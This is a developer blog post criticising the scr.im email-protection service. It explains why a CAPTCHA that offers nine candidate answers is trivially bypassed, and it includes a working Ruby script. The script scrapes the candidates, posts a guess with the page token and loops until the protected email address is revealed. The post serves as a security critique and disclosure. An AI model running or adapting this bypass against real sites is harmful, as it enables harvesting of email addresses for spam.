On Dev

Programming: tools and languages

‘Cool tool’ scr.im is the worst CAPTCHA ever

I was browsing reddit today and found a link to a service called scr.im. According to their site, it allows you to “protect your email address before sharing it, so only real people will use it.” It has gotten some attention. It’s even being used by redditors.

The user inputs their email address and a desired alias. After they click “Protect my email”, it creates a link using the inputted alias. Let’s say, for example, that the user had inputted “test@test.com” and the alias “test”. If another user goes to http://scr.im/test, they are presented a CAPTCHA and a list of 9 options that they can click on, one of which is the 5 character value represented by the CAPTCHA. If the user clicks on the correct value, they are shown the email address that the first user originally inputted.

The point of a CAPTCHA is that only a human should be able to pass the test. It should not be possible to automate a solution to the CAPTCHA. This is usually done by creating a problem that computers are not very good at but humans can do relatively simply. The most common form is an image with letters or numbers on it that a human can read very easily but is hard for a computer to recognize. Optical Character Recognition can be used (and has been) to beat these types of CAPTCHA. In those cases a program is written to scan the given image and based on that information guess what it says. There are other types of CAPTCHAs as well; for example, Microsoft’s Asirra project, which assumes that a computer cannot distinguish between pictures of cats and pictures of dogs.

Let’s say a CAPTCHA for a site can be any 5 character alphanumeric string (case-insensitive). For each character, you have 36 possibilities. For the whole string, thats 36^5 or 60,466,176 possibilites. If a brute force attack were run on that CAPTCHA, testing 1000 times a second, it would take 60466 seconds or over 16 hours. This is a relatively simple CAPTCHA, most nowadays are more complex and require longer strings. Now, let’s say you have a 5 character alphanumeric string (case-insensitive), but you are given 9 possibilites for what it could be. If you brute force this CAPTCHA, testing at 1000 times a second, it would take 0.009 seconds or 0.0000025 hours.

This is exactly what scr.im does. It hands the computer the answer on a silver platter. Other CAPTCHAs (like reCAPTCHA), provide better security all around. They provide the same service as scr.im: Mailhide. Not only do they use readable words, but they also screen by IP address. If the an IP address solves too many CAPTCHAs in a certain period of time, that user is blocked. Scr.im has no similar security service that I’ve found.

To demonstrate how simple it is to get past scr.im’s CAPTCHA, I’ve written a short ruby script to do just that (available on github). All it does is simulate what a user would do in the browser.

  1. Get the given URL via HTTP (for example http://scr.im/test), saving the contents and cookies that are returned.
  2. Find the value of the CAPTCHA in the given image. Here, we just guess one of the nine possibilities that are returned.
  3. Put together the same request a browser would if the user clicked one of the options. This includes the PHPSESSID cookie, and 4 form inputs.
    1. token: a value copied verbatim from the response.
    2. action: always “view”
    3. captcha: the value of the CAPTCHA in the given image
    4. ajax: always “y”
  4. Make the request. If it returns a valid email address, we are done. Otherwise, try again.

The program uses httpclient and _whys’ awesome hpricot HTML parsing library.

#!/usr/bin/env ruby

require 'rubygems'
require 'hpricot'
require 'httpclient'

require 'cgi'

url = ARGV[0] || "http://scr.im/test"
found = false

clnt = HTTPClient.new

while (not found) do

    captcha_value = nil;

    q_doc = Hpricot(clnt.get(url).content)

    q_doc.search("//script").each do |x|
        if (x.html =~ /var caps = ([^;]+);/)
            captcha_value = [];
            $1.scan(/"[^"]*"/) { |x| captcha_value.push(CGI.unescape(x[1..-2])); }
            #pick a random captcha value
            captcha_value = captcha_value[rand(captcha_value.size)];
        end
    end

    if (captcha_value)
        req_params = {};

        req_params[:token] = q_doc.at("//input[@name='token']")[:value];
        req_params[:action] = "view";
        req_params[:captcha] = captcha_value;
        req_params[:ajax] = "y";

        a_doc = Hpricot(clnt.post(url, req_params).content);

        if (a_doc.search("//p[@id='reveal_mail']").size > 0)
            found = true;
            puts CGI.unescapeHTML(((a_doc/"#reveal_mail")/"a").inner_html);
        end
    end

end

There are some VERY simple things that scr.im does to obscure the CAPTCHA values, like escaping them. If this is intended to be part of the security of the site, it is a joke. Escaping is a two way function, no second value is required to unescape them. This is security through obscurity. I can’t imagine what the token is there for. It is simply copied, no transformation is necessary.

I am baffled as to why the person who wrote this site thought they were qualified to do this. Nothing about this site is secure. Masquerading as a secure site is despicable. It leaves the unsuspecting user with a sense of false security.

Obviously, an email address’s security is not the most important thing in the world. Yours is probably all over the web already. Plus, using this service does add a layer of complexity for a spammer trying to gather email addresses. But that’s all this is, a layer of complexity.

If you want to use a service like scr.im, I suggest you try reCAPTCHA instead, it provides the same thing, but is much, much better.

tags:
category: Uncategorized
comments: one
# 11.13
6:16 am

eerpel says:

You’re right, the captcha is bad. But even if it was any good it’s also completely irrelevant as scr.im even offers a convenient API for spammers to get your real email address using one simple HTTP POST request:

http://scr.im/api/

Leave a Reply

Disclaimer: Everything written here is my own opinion, not my employer's. #